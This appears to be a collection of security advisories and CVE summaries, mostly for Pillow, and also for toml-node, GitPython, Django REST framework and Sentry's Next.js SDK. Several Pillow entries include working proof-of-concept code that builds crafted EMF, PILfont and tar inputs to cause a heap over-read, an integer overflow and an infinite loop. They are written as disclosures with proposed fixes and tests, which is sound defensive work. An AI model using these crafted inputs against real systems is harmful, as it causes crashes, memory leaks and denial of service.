Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
### Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
### Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.
In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
- `src/display.c:793-794` assign the 16-bit fields
- `src/display.c:800` sizes the allocation from them
- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values
The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).
### PoC
```python
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
```
On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).
### Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
### Summary
Affected Object and Source
Package: Pillow 12.3.0
Source: PyPI sdist pillow-12.3.0.tar.gz
SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce
Sink: src/_imaging.c:2809:15, xsize += dx
### Details
The code in Pillow 12.3.0 is:
```c
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
```
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:
`dx > 0 => xsize <= INT_MAX - dx`
It does **not** prove the other half of the contract:
`dx < 0 => xsize >= INT_MIN - dx`
Taking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.
### PoC
```python
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
```
Observations from a regular 12.3.0 release build:
```text
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
```
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.
### Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
### Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
```c
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
```
At a minimum, four test cases should be added:
1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);
2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;
3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);
4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.
Additionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.
### Summary
`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.
### Details
`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:
```python
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
```
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.
The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.
### Steps to reproduce
This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.
```python
from PIL import TarIO
with open("Tests/images/hopper.tar", "rb") as f:
data = bytearray(f.read())
# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b" -00001000"
with open("poisoned.tar", "wb") as f:
f.write(data)
# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")
```
We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.
A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.
```python
from __future__ import annotations
from pathlib import Path
import pytest
from PIL import TarIO
SOURCE_TAR = "Tests/images/hopper.tar"
@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
with open(SOURCE_TAR, "rb") as f:
data = bytearray(f.read())
data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated
poisoned_tar = tmp_path / "poisoned.tar"
poisoned_tar.write_bytes(data)
with pytest.raises((OSError, ValueError)):
with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
pass
```
### Impact
- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
- Confidentiality: none.
- Integrity: none.
- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.
CVE-2026-82987 is a vulnerability in the ViewSonic vCast media streaming service used in ViewSonic ViewBoard devices. It involves missing authentication on critical screen capture endpoints (/snapshot or /screen), allowing remote unauthenticated attackers to capture and exfiltrate the current screen content as JPEG images. This affects versions from 0.0.0 up to and including 3.2.715. No CVSS score is provided, and no known exploits are reported in the wild. No patch or official remediation details are currently available from the vendor advisory.
## Summary
BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.
## Affected versions
All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)
## Root cause
BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length:
- delta escape (line 370): data += b"\x00" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration.
- absolute mode (line 385): data += bytes_read (up to 255).
Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.
## Reproduction
Python 3.13, Pillow HEAD e7a7ea84
Attached: pillow_poc_bmp_rle_dos.py
A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.
## Suggested fix
Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.
Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)
[pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)
CVE-2026-114379 is a file inclusion vulnerability in EKKOLearnAI ekko-studio versions 1.0.0 through 1.0.6. It affects the saveGeneratedImages function in the Media Generation API component, allowing remote attackers to manipulate the output_path argument to include arbitrary files. The vulnerability has a medium severity rating with a CVSS 4.0 score of 5.3. A patch identified by commit 1d42459c292f89e412f7f6243829e7fed2e85bf5 is recommended to fix the issue.
GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, create_submodule() in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes _clone_repo() before safely rejecting the destination. In 3.1.x, _validate_repo_path() does not exist and the call succeeds silently, while in 3.2.0 and later affected revisions the check in git/index/base.py raises ValueError only after the clone has written to disk and does not remove the planted file. An attacker-controlled submodule can therefore place an executable post-checkout hook that a later Git operation executes. Exploitation requires an application to accept an untrusted submodule path and a clone destination such as .git/hooks that is empty enough for Git to clone into it, which commonly means that default sample hooks are absent. This issue is fixed in version 3.2.1.
CVE-2026-114144 is a high-severity vulnerability in the toml-node library prior to version 5.0.1. It involves uncontrolled resource consumption due to the parsing of unbounded integer digit sequences that are converted to BigInt before range checking. This causes super-linear CPU usage and blocks the Node.js event loop, enabling denial of service via a crafted TOML document. The issue is fixed in version 5.0.1.
North Korean Lazarus hackers have adopted a post-quantum cryptographic mechanism to secure the delivery of malicious payloads in their latest malware campaigns. This approach combines traditional malware techniques with advanced cryptographic methods to enhance stealth and resilience against detection and interception.
CVE-2026-114143 is a high-severity vulnerability in BinaryMuse's toml-node, a TOML parser for Node.js and browsers. Versions prior to 5.0.1 suffer from inefficient algorithmic complexity in handling long dotted keys and table headers, causing quadratic processing time. This can block the Node.js event loop for several seconds and may lead to process termination due to memory exhaustion. The maxDepth option does not mitigate this issue. The vulnerability is fixed in version 5.0.1.
A vulnerability was detected in itsourcecode Online Cake Ordering System 1.0. This affects an unknown part of the file /deleteproduct.php. The manipulation of the argument ID results in sql injection. The attack may be launched remotely. The exploit is now public and may be used.
CVE-2026-114142 is a high-severity prototype pollution vulnerability in the toml-node library for Node.js and browsers. Versions prior to 5.0.1 allow attacker-controlled properties to be written to Object.prototype due to improper handling of quoted key paths in the parsing process. This can lead to objects inheriting malicious properties. The issue is fixed in version 5.0.1.
toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, the toml.parse() compiler's addTableArray() function in lib/compiler.js rescans the complete assignedPaths and valueAssignments bookkeeping sets for every array-of-tables header. Distinct [[name]] paths are not pruned, so a document with many such headers causes quadratic synchronous work and can block the Node.js event loop, denying service to other operations in the process. This issue is fixed in version 5.0.1.
A path traversal vulnerability (CWE-22) exists in jupyter nbconvert's ExtractOutputPreprocessor from versions 5.4.0 up to but not including 7.17.2. This flaw allows an attacker to craft a malicious notebook that, when converted using certain exporters, can write output files to arbitrary locations accessible by the victim. The issue is fixed in version 7.17.2.
A path traversal vulnerability exists in leomoon-studios wiki-go versions 1.9.0 and 1.9.1 in the DeleteComment function of the internal/comments/comments.go file. This vulnerability allows remote attackers to manipulate the documentPath argument to perform path traversal attacks. The issue is resolved by upgrading to version 1.9.2.
### Impact
The `tunnelRoute` option makes the SDK send browser events to a path on your own Next.js server (for example `/monitoring`), where a rewrite forwards them to Sentry to prevent ad blockers from blocking them. To keep those envelope requests from being rejected by your middleware, the SDK skips middleware for them.
The middleware skip was wider than the rewrite. The rewrite only serves requests to the tunnel path itself with the `o` and `p` parameters set. The skip applied to anything under the tunnel path. Requests in that gap go to your application instead of Sentry, and your middleware never runs on them.
Skipping middleware does not grant the request any privileges. Routes that check the session server-side are still protected.
You are affected only if **all** of the following are true:
1. `tunnelRoute` is set (a string path or `true`),
2. your app is built with **webpack** (Turbopack builds are not affected),
3. some route of your application resolves under the tunnel path. That could be a direct collision (`/monitoring/foo` with `tunnelRoute: '/monitoring'`) or a dynamic segment at the route root (`app/[locale]/…`), which matches any first path segment, and
4. your middleware is the only place that enforces authorization for those routes.
Sentry's own services, and the data in your Sentry organization, are not affected.
### Patches
Fixed in [9.47.2](https://github.com/getsentry/sentry-javascript/releases/tag/9.47.2), [10.75.2](https://github.com/getsentry/sentry-javascript/releases/tag/10.75.2) and [11.0.0-rc.1](https://github.com/getsentry/sentry-javascript/releases/tag/11.0.0-rc.1). The skip now matches only the requests the tunnel rewrite actually serves. No configuration change is needed.
### Workarounds
- Set `tunnelRoute` to a path no route of yours can resolve under, or remove the option.
- Build with Turbopack (default for `next build` from Next.js 16).
- Enforce authorization in the route, layout or data-access path as well as in middleware.
Django REST framework versions prior to 3.18.2 contain an uncontrolled resource consumption vulnerability in the DefaultContentNegotiation.get_accept_list method. An unauthenticated remote attacker can send requests with many distinct media types containing large quoted parameter values, causing excessive CPU usage due to repeated parsing. This can lead to synchronous worker threads being pinned for extended periods, resulting in denial of service. The issue is fixed in version 3.18.2.
Django REST framework is a toolkit for building Web APIs. From 3.12.0 until 3.18.2, TokenProxy.delete() in rest_framework/authtoken/models.py uses the proxy's user-id pk while the concrete Token token-string primary key identifies rows, so Django issues a deletion query that matches no row and reports zero deletions without raising an error. Applications, administrative integrations, or operational scripts that revoke credentials through a TokenProxy instance can therefore believe revocation succeeded while the token remains live and continues authenticating. DRF's own TokenAdmin.delete_model workaround is not affected, but other callers can leave access available indefinitely because DRF tokens do not expire automatically. This issue is fixed in version 3.18.2.
A vulnerability in django-rest-framework versions from 3.6.4 up to but not including 3.18.2 allows remote unauthenticated clients to send highly compressed JSON request bodies that expand significantly in memory after initial size checks. This improper handling of compressed data can cause excessive memory consumption per worker, potentially leading to denial of service. The issue is fixed in version 3.18.2.